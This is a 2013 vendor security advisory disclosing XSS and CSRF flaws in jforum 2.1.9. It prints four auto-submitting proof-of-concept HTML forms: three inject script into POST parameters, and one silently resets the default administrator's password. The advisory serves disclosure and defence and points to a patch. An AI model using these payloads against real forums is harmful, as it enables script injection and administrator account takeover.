High-Tech Bridge Security Advisories are CVE Compatible    High-Tech Bridge Security Advisories CWE Compatibility    High-Tech Bridge Security Advisories CVSS Adopters
Vendor Statistics

286 software vendors have fixed 926 vulnerabilities in their products thanks to High-Tech Bridge Security Research Lab.

Patch Available Upon Disclosure

2014 Q1: 87%2013 Q2: 92%
2013 Q4: 67%2013 Q1: 100%
2013 Q3: 77%2012 Q4: 68%

Vendor Average Time to Patch

2014 Q1: 5 days 2013 Q2: 30 days
2013 Q4: 8 days 2013 Q1: 13 days
2013 Q3: 13 days 2012 Q4: 26 days

High-Tech Bridge Newsletter

Subscribe to our newsletter and receive some or all of our corporate news, invitations to security events or HTB Security Advisories – you choose what you want to receive.

Multiple Vulnerabilities in jforum

Advisory ID:HTB23134
Product:jforum
Vendor: The JForum Team
Vulnerable Versions:2.1.9 and probably prior
Tested Version:2.1.9
Advisory Publication:December 26, 2012 [without technical details]
Vendor Notification:December 26, 2012
Public Disclosure:February 13, 2013
Latest Update:February 13, 2013
Vulnerability Type:Cross-Site Scripting [CWE-79]
Cross-Site Request Forgery [CWE-352]
CVE References:CVE-2012-6445
CVE-2012-6446
Risk Level:Medium
CVSSv2 Base Scores:4.3 (AV:N/AC:M/Au:N/C:N/I:P/A:N)
5.1 (AV:N/AC:H/Au:N/C:P/I:P/A:P)
Solution Status:Solution Available
Discovered and Provided:High-Tech Bridge Security Research Lab
 

Advisory Details:

High-Tech Bridge Security Research Lab discovered multiple vulnerabilities in jforum, which can be exploited to perform Cross-Site Scripting (XSS) and Cross-Site Request Forgery (CSRF) attacks.


1) Multiple Cross-Site scripting (XSS) vulnerabilities in jforum: CVE-2012-6445

1.1 The vulnerability exists due to insufficient filtration of user-supplied input in "start" HTTP POST parameter in "jforum.page" script when sending any message. A remote attacker can create a specially crafted webpage and execute arbitrary HTML and script code in user's browser in the context of vulnerable website. Successful exploitation requires that victim visits the malicious webpage.

Malicious webpage example:

<form action="http://[host]/jforum.page" method="post" name="f1">
<input type="hidden" name="action" value="insertSave" />
<input type="hidden" name="module" value="posts" />
<input type="hidden" name="preview" value="0"/>
<input type="hidden" name="forum_id" value="1" />
<input type="hidden" name="start" value='"><script>alert(document.cookie);</script>' />
<input type="hidden" name="topic_id" value="2" />
<input type="submit" id="btn">
</form>
<script>
document.f1.submit();
</script>

1.2 The vulnerability exists due to insufficient filtration of user-supplied input in "action" HTTP POST parameter in "jforum.page" script when posting a reply. A remote attacker can create a specially crafted webpage and execute arbitrary HTML and script code in user's browser in the context of vulnerable website. Successful exploitation requires that victim visits the malicious webpage.

Malicious webpage example:

<form action="http://[host]/jforum.page" method="post" name="f1">
<input type="hidden" name="module" value="posts" />
<input type="hidden" name="disable_html" value="1" />
<input type="hidden" name="forum_id" value="1" />
<input type="hidden" name="message" value="123" />
<input type="hidden" name="quick" value="1" />
<input type="hidden" name="start" value="0" />
<input type="hidden" name="topic_id" value="2" />
<input type="hidden" name="action" value='"><script>alert(document.cookie);</script>' />
<input type="submit" id="btn">
</form>
<script>
document.f1.submit();
</script>

1.3 The vulnerability exists due insufficient filtration of user-supplied input in "returnUrl", "forum_id" and "topic_id" HTTP POST parameters in "jforum.page" script. A remote attacker can create a specially crafted webpage and execute arbitrary HTML and script code in administrator's browser in the context of vulnerable website. Successful exploitation requires that victim visits the malicious webpage.

Malicious webpage example:

<form action="http://[host]/jforum.page" method="post"name="f1" >
<input type="hidden" name="action" value="doModeration" />
<input type="hidden" name="log_description" value="" />
<input type="hidden" name="log_type" value="0" />
<input type="hidden" name="module" value="moderation" />
<input type="hidden" name="topicMove" value="1" />
<input type="hidden" name="returnUrl" value='"><script>alert(document.cookie);</script>' />
<input type="hidden" name="forum_id" value='"><script>alert(document.cookie);</script>' />
<input type="hidden" name="topic_id" value='"><script>alert(document.cookie);</script>' />
<input type="submit" id="btn">
<script>
document.f1.submit();
</script>
</form>


2) Сross-Site Request Forgery (CSRF) in jforum: CVE-2012-6446

2.1 The vulnerability exists due to insufficient verification of the HTTP request origin in "jforum.page" script. A remote attacker can trick a logged-in administrator to visit a specially crafted webpage and change administrator's password.

PoC (Proof-of-Concept) below will change password to "password" for user with id = 2 (default administrator's ID):

<form action="http://[host]/jforum.page" method="post" name="f1">
<input type="hidden" name="action" value="editSave" />
<input type="hidden" name="module" value="adminUsers" />
<input type="hidden" name="user_id" value="2" />
<input type="hidden" name="username" value="username" />
<input type="hidden" name="email" value="mail@mail.com" />
<input type="hidden" name="new_password" value="password" />
<input type="hidden" name="password_confirm" value="password" />
<input type="hidden" name="viewemail" value="0" />
<input type="hidden" name="hideonline" value="0" />
<input type="hidden" name="notifyreply" value="1" />
<input type="hidden" name="notify_always" value="0" />
<input type="hidden" name="notify_text" value="0" />
<input type="hidden" name="notifypm" value="1" />
<input type="hidden" name="attachsig" value="1" />
<input type="hidden" name="allowhtml" value="1" />
<input type="hidden" name="allowbbcode" value="1" />
<input type="hidden" name="allowsmilies" value="1" />
<input type="hidden" name="rank_special" value="-1" />
<input type="submit" name="submit" value="Submit">
</form>
<script>
document.f1.submit();
</script>


Solution:
The vendor didn't reply to numerous notifications. Currently we are not aware of any official vendor solution.

Edit the application source code to implement proper filtration of the vulnerable parameters mentioned in sections 1.1-1.3.

Unofficial patch and how-to was kindly provided by Jeanne Boyarsky to protect the application against CSRF attacks: http://www.selikoff.net/2013/02/09/fixing-csrf-for-jforum/


ImmuniWeb by High-Tech Bridge


References:
[1] High-Tech Bridge Advisory HTB23134 - https://www.htbridge.com/advisory/HTB23134 - Multiple Vulnerabilities in jforum.
[2] jforum - http://jforum.net/ - jforum is a powerful and robust discussion board system implemented in Java.
[3] Common Vulnerabilities and Exposures (CVE) - http://cve.mitre.org/ - international in scope and free for public use, CVE® is a dictionary of publicly known information security vulnerabilities and exposures.
[4] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE is a formal list of software weakness types.

Have additional information to submit?
Please feel free to send us any additional information related to this Advisory, such as vulnerable versions, additional exploitation details and conditions, patches and other relevant details.